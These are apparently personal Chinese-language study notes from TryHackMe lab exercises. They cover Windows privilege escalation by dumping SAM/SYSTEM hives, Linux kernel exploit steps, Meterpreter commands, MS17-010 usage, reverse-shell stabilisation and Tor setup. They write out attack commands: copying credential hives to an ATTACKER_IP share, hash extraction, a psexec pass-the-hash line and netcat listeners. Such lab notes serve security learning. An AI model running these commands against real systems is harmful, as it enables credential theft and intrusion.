暴露面-thm

1、信息搜集

  • whois查询 WHOIS 服务器
  • nslookup查询 DNS 服务器
  • dig查询 DNS 服务器

nslookup -type=a tryhackme.com 1.1.1.1

提权-windows-滥用特权

连接上目标主机后,输入下面命令查看所在组拥有的权限。

whoami /priv

SeChangeNotifyPrivilege(绕过遍历检查):启用此特权可以绕过对对象的遍历权限检查。它允许用户或进程在没有遍历权限的情况下访问对象,即使它们没有明确的权限来执行该操作。

SeIncreaseWorkingSetPrivilege(增加进程工作集):禁用此特权将阻止进程增加其工作集的大小。工作集是进程在内存中使用的一部分,它包含当前正在使用的代码和数据。启用此特权允许进程增加其工作集的大小,从而可能提高其性能。

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。

有了这种能力,攻击者可以使用多种技术轻松提升系统权限。我们将研究的方法包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希值。
这个靶场的目标主机登陆的帐户属于“Backup Operators”组,默认情况下被授予 SeBackup 和 SeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。我们将被要求再次输入密码以获得提升的控制台

下面是使用管理员权限登录的命令行

要备份 SAM 和 SYSTEM 哈希值,我们可以使用以下命令:命令提示符

C:\> reg save hklm\system C:\Users\THMBackup\system.hive

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive

这将创建几个包含注册表配置单元内容的文件。现在,我们可以使用SMB或任何其他可用方法将这些文件复制到kali。输入下面的命令设置共享文件夹。
user@attackerpc$ mkdir share
user@attackerpc$ python3 (py文件的地址)smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

/opt/impacket/examples/smbserver.py 这是py脚本,用来让目标主机访问kali共享文件夹的,可以在tryhackme的attackbox找到,可以通过attackbox开python传脚本到kali,然后再在kali使用。

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ 在目标主机复制文件到kali
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

通过下面的命令去得检索用户的哈希值

python3 secretsdump.py的地址 -sam sam.hive -system system.hive LOCAL
可以找到administrator密码的哈希值

于是可以使用管理员的哈希来执行哈希传递攻击并获得具有系统权限的目标计算机的访问权限:
python3 /root/Desktop/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 Administrator@10.10.76.255

运行命令后成功提权了

linux提权-2cve-2015-1328提权

省略前渗透阶段,假设已经getshell,拿到普通用户权限:

1.看系统信息,搜集os版本、内核版本等

2.到exploitdb搜exp

3.复制粘贴exp

4.gcc编译exp

5.运行exp

cve-2015-1328

gcc xxx.c -o pwned 然后 ./pwnen pwned是自己取的

searchsploit kernel xxx 查exp路径

find / -name “xxx” 找到exp

msf-Meterprete

它实际是metasploit的一种载荷,它在攻击系统上运行但是并没有安装在系统里,而是加载在内存里。比如反弹shell的实验中,会建立的会话就显示metaprete,再比如MS17_010。

Meterpreter 会与攻击者的系统建立一个加密的(TLS)通信通道。

下面是metaprete能生效的系统:

  • Android
  • Apple iOS
  • Java
  • Linux
  • OSX
  • PHP
  • Python
  • Windows

metaprete相关命令:

核心命令

  • background:背景当前会话 //可以通过sessions -i 进入会话
  • exit:终止Meterpreter会话
  • guid: 获取会话GUID (Globally Unique Identifier)
  • help:显示帮助菜单
  • info: 显示有关 Post 模块的信息
  • irb:在当前会话中打开交互式 Ruby shell
  • load: 加载一个或多个 Meterpreter 扩展
  • migrate: 允许您将 Meterpreter 迁移到另一个进程
  • run: 执行一个 Meterpreter 脚本或 Post 模块
  • sessions:快速切换到另一个会话

文件系统命令

  • cd: 会改变目录
  • ls: 将列出当前目录中的文件(dir 也可以)
  • pwd: 打印当前工作目录
  • edit: 将允许您编辑文件
  • cat: 将文件的内容显示到屏幕上
  • rm: 将删除指定的文件
  • search:将搜索文件
  • upload: 将上传文件或目录
  • download: 将下载一个文件或目录

联网命令

  • arp:显示主机ARP(地址解析协议)缓存
  • ifconfig:显示目标系统上可用的网络接口
  • netstat:显示网络连接
  • portfwd:将本地端口转发到远程服务
  • route:允许您查看和修改路由表

系统指令

  • clearev:清除事件日志
  • execute: 执行命令
  • getpid: 显示当前进程标识符
  • getuid: 显示 Meterpreter 正在运行的用户 //清楚当前权限
  • kill: 终止进程
  • pkill: 按名称终止进程
  • ps:列出正在运行的进程 //列出进程的信息,方便迁移metaprete到别的进程,进行伪装
  • reboot:重新启动远程计算机
  • shell:进入系统命令外壳
  • shutdown:关闭远程计算机
  • sysinfo: 获取远程系统的信息,例如OS

其他命令(这些将在帮助菜单的不同菜单类别下列出)

  • idletime:返回远程用户空闲的秒数
  • keyscan_dump:转储击键缓冲区
  • keyscan_start:开始捕获击键
  • keyscan_stop: 停止捕获击键
  • screenshare:允许您实时观看远程用户的桌面
  • screenshot:抓取交互式桌面的屏幕截图
  • record_mic:从默认麦克风录制音频 X 秒
  • webcam_chat:开始视频聊天
  • webcam_list:列出网络摄像头
  • webcam_snap:从指定的网络摄像头拍摄快照
  • webcam_stream:播放来自指定网络摄像头的视频流
  • getsystem:尝试将您的特权提升到本地系统的特权
  • hashdump: 转储 SAM 数据库的内容

迁移:更好的伪装,或者借助别的进程进行后渗透,使用命令 migrate pid(进程号) 进行迁移。

哈希转储:hashdump命令

搜索:search

getshell:shell

metaprete可以加载kiwi、python:
Kiwi主要针对Windows域环境中的安全问题进行研究和演示,可以用于渗透测试、红队操作和安全研究等领域。
只需要 在 metaprete 界面输入load kiwi即可。

演示:

获得一个metaprete会话后:
1.sysinfo 查看计算机的相关信息;
2.post/windows/gather/enum_domain 使用该模块来查看目标域。此时需要隐藏会话,但是要记住session id
3.post/windows/gather/enum_shares 使用该模块查看共享名称

ms17_010

1.nmap扫端口看有没有445

2.msfconsole search ms17_010 的扫描去看 rhosts有没有漏洞

3.msfconsole search ms17_010的利用模块 use 2

4.设置options 然后run

稳定netcat shell的三种方式

1.python

1)使用命令 nc -lvnp 443 后会从攻击机返回shell,此时的shell是程序极其不稳定,按下 CTERL C 会中断。

使用命令 python -c ‘import pty;pty.spawn(“/bin/bash”)’ 获得稳定的交互shell,但此时仍然无法使用 tab 自动补全或使用箭头键,而 Ctrl C 仍会终止 shell。

2)使用命令 export TERM=xterm

3)使用 Ctrl + Z 为 shell 设置背景,此时已经推出了shell。在攻击机普通命令行下,使用命令 stty raw -echo; fg

2.rlwrap

rlwrap是一个程序

1)使用命令 rlwrap nc -lvnp <port> //处理 Windows shell 时特别有用

2)使用 Ctrl + Z 为 shell 设置背景,然后使用 stty raw -echo; fg 稳定并重新进入 shell

3.Socat*(仅限于Linux目标,因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定)

tor浏览器kali

使用命令
apt install tor

修改etc目录下的配置文件

关闭静态chains,开启动态chains

在最后添加上
sock5 127.0.0.1 9050

输入命令启动服务
service tor start

输入命令查看启动情况
service toe status